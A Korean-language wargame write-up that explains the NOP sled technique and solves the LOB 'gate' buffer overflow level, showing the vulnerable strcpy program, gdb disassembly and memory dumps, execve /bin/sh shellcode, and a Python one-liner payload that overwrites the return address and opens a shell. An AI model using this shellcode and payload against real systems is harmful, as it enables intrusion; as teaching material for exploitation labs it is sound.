NOP sled는 버퍼 오버플로우 공격을 할 때 shellcode 앞에 NOP를 추가하여 공격하는 기법입니다.
여기서 NOP는 (NO Operation)으로 아무 일도 하지 않는다 라는 명령입니다.
NOP 명령을 사용하는 이유는 shellcode의 주소를 정확하게 알기 힘들 경우 RET에 정확한 shellcode의 주소를 입력하여 공격하기 힘듭니다.
하지만 shellcode 앞에 충분한 양의 NOP 값을 넣어주고 RET에 적절한 NOP 주소를 넣어주면 NOP 명령이 쭉 미끄러지듯이 실행되어서 shellcode를 만나면 쉘이 뜨게 할 수 있습니다.
결과적으로 주소에 오차가 있을 때 shellcode의 주소를 직접 찾아서 공격하는 것보다 공격 성공 확률을 높일 수 있습니다.
[LOB] gate 문제로 실습을 해보면
int main(int argc, char *argv[])
{
char buffer[256];
if(argc < 2){
printf("argv error\n");
exit(0);
}
strcpy(buffer, argv[1]); // 크기에 제한 없이 buffer에 argv[1]의 값 복사
printf("%s\n", buffer);
}
취약한 함수인 strcpy(buffer, argv[1]) 함수를 사용했기 때문에 버퍼 오버플로우 공격이 가능합니다.
먼저 공격을 위해 메모리 구조를 분석해보면
Dump of assembler code for function main:
0x8048430 <main>: push %ebp
0x8048431 <main+1>: mov %ebp,%esp
0x8048433 <main+3>: sub %esp,0x100 // 256 Byte 크기의 공간 할당
[gate@localhost gate]$ gdb -q gremlin
(gdb) set disassembly-flavor intel
(gdb) disas main
0x8048456 <main+38>: mov %eax,DWORD PTR [%ebp+12] // eax = argv[0]
0x8048459 <main+41>: add %eax,4 // eax = argv[1]
0x804845c <main+44>: mov %edx,DWORD PTR [%eax] // edx = argv[1]
0x804845e <main+46>: push %edx // push argv[1]
0x804845f <main+47>: lea %eax,[%ebp-256] // eax = ebp-256(str)
0x8048465 <main+53>: push %eax // push str
0x8048466 <main+54>: call 0x8048370 <strcpy> // strcpy(str, argv[1])
0x804846b <main+59>: add %esp,8
0x804846e <main+62>: lea %eax,[%ebp-256] // eax = str
ShellCode [25 Byte]
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
shellcode의 크기는 25 Byte이고 buf부터 EBP까지의 거리는 260 Byte 이기 때문에 NOP[235] + shellcode[25] + Addr[4]로 RET 값을 변조하여 쉘을 띄울 수 있습니다.
먼저 NOP+Shellcode의 주소를 찾아보면
[gate@localhost /tmp]$ ./gremlin `python -c 'print "\x90"*235+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\xe8\xf8\xff\xbf"'`
�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PS��1Ұ
����
Segmentation fault (core dumped)
[gate@localhost /tmp]$ gdb -c core
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux".
Core was generated by `./gremlin ���������������������������������������������������������������������'.
Program terminated with signal 11, Segmentation fault.
#0 0xbffff8e8 in ?? ()
(gdb) x/100x $esp
0xbffffa10: 0x00000000 0xbffffa54 0xbffffa60 0x40013868
0xbffffa20: 0x00000002 0x08048380 0x00000000 0x080483a1
0xbffffa30: 0x08048430 0x00000002 0xbffffa54 0x080482e0
0xbffffa40: 0x080484bc 0x4000ae60 0xbffffa4c 0x40013e90
0xbffffa50: 0x00000002 0xbffffb4a 0xbffffb54 0x00000000
0xbffffa60: 0xbffffc5d 0xbffffc66 0xbffffc85 0xbffffca7
0xbffffa70: 0xbffffcb9 0xbffffcc3 0xbffffe86 0xbffffea5
0xbffffa80: 0xbffffebf 0xbffffed4 0xbffffedf 0xbffffef0
0xbffffa90: 0xbffffefd 0xbfffff05 0xbfffff16 0xbfffff24
0xbffffaa0: 0xbfffff32 0xbfffff43 0xbfffff51 0xbfffff5c
0xbffffab0: 0xbfffff6c 0xbfffffd4 0xbfffffe0 0x00000000
0xbffffac0: 0x00000003 0x08048034 0x00000004 0x00000020
0xbffffad0: 0x00000005 0x00000006 0x00000006 0x00001000
0xbffffae0: 0x00000007 0x40000000 0x00000008 0x00000000
0xbffffaf0: 0x00000009 0x08048380 0x0000000b 0x000001f4
0xbffffb00: 0x0000000c 0x000001f4 0x0000000d 0x000001f4
0xbffffb10: 0x0000000e 0x000001f4 0x00000010 0x0f8bfbff
0xbffffb20: 0x0000000f 0xbffffb45 0x00000000 0x00000000
0xbffffb30: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffb40: 0x00000000 0x38366900 0x2f2e0036 0x6d657267
0xbffffb50: 0x006e696c 0x90909090 0x90909090 0x90909090
0xbffffb60: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb70: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb80: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb90: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb60이고 리틀 엔디안 방식으로 변환하면 \x60\xfb\xff\xbf가 됩니다.
익스플로잇 코드를 짜 보면
NOP[235] + shellcode[25] + Addr[4]
`python -c 'print "\x90"*235+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x60\xfb\xff\xbf"'`
익스플로잇 코드를 실행시켜보면
[gate@localhost /tmp]$ ./gremlin `python -c 'print "\x90"*235+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x60\xfb\xff\xbf"'`
�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PS��1Ұ
`���
bash$
공격에 성공해서 쉘이 떴습니다.